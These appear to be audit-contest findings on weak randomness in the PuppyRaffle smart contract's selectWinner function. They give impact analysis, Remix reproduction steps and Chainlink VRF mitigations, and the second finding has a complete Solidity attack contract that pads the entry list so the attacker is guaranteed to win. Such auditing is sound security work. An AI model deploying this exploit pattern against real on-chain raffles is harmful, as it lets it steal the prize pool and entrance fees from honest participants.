./src/PuppyRaffle.sol
The PuppyRaffle::selectWinner function is designed to randomly select a winner from the array of players who have entered the raffle, ensuring fairness where each participant has an equal probability of winning. The winner receives 80% of the total ETH collected as a prize, and the remaining 20% is collected as fees.
The function uses predictable blockchain data (msg.sender, block.timestamp, and block.difficulty) as the source of randomness for selecting the winner. Since all these values are either publicly known before transaction execution or controllable by the transaction sender, an attacker can predict the exact winner before calling the function. More critically, an attacker can deploy a contract that only executes selectWinner() when they are guaranteed to win, reverting all other attempts. This allows malicious actors to manipulate the raffle outcome with 100% certainty, completely undermining the fairness of the system.
Likelihood: High
Any participant can deploy a smart contract that calculates the winner using the exact same formula before calling selectWinner(), allowing them to predict the outcome with 100% accuracy at any given block.
An attacker can implement conditional execution logic that reverts the transaction unless they would win, allowing them to repeatedly attempt the function call at different timestamps until finding a favorable outcome. Failed attempts only cost gas for reverted transactions.
Miners and validators have some degree of control over block.difficulty (now block.prevrandao in post-merge Ethereum), enabling them to manipulate this value to influence the winner selection in their favor.
The attack requires only basic Solidity knowledge and can be fully automated, making it accessible to a wide range of potential attackers with minimal technical barriers.
Impact: Critical
Complete compromise of raffle fairness: Legitimate players have virtually no chance of winning once an attacker exploits this vulnerability, as the attacker can guarantee their own victory.
Financial loss for all honest participants: Every legitimate player who enters the raffle will lose their entrance fee with no real chance of winning, effectively making the raffle a scam for non-attackers.
The NFT rarity distribution is also manipulated, allowing attackers to guarantee receiving legendary puppies (5% rarity) instead of the intended random distribution, further devaluing the NFT collection.
Reputational damage and loss of trust: Once exploited, users will lose all confidence in the protocol, leading to complete abandonment of the platform and potential legal liability for the protocol operators.
Protocol insolvency: As soon as sophisticated users discover the vulnerability, the raffle becomes unusable by honest participants, causing the protocol to fail its core purpose entirely.
Exploit Contract: test/SimpleWeakRandomnessExploit.sol
Steps to reproduce in Remix IDE:
Deploy PuppyRaffle with parameters: (1000000000000000000, YOUR_ADDRESS, 60)
Enter 4 legitimate players with 4 ETH total using addresses:
Deploy SimpleExploit with PuppyRaffle's address
Enter SimpleExploit as 5th player with 1 ETH
Wait 60 seconds for raffle duration to pass
Call attack() repeatedly - it will revert multiple times, then succeed
Verify previousWinner() returns SimpleExploit's address
SimpleExploit received 4 ETH prize (80% of 5 ETH total)
Result: The exploit successfully predicts and guarantees a win. Legitimate players have no chance.
The only secure solution is to use a verifiable random function from an oracle service. The recommended approach is to implement Chainlink VRF (Verifiable Random Function):
Alternative (less secure but better than current): Use future block hash with commit-reveal pattern:
Note: Chainlink VRF is the industry-standard solution and provides cryptographically secure, verifiable randomness that cannot be predicted or manipulated. The commit-reveal with future block hash is better than the current implementation but still has minor vulnerabilities to miner manipulation.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.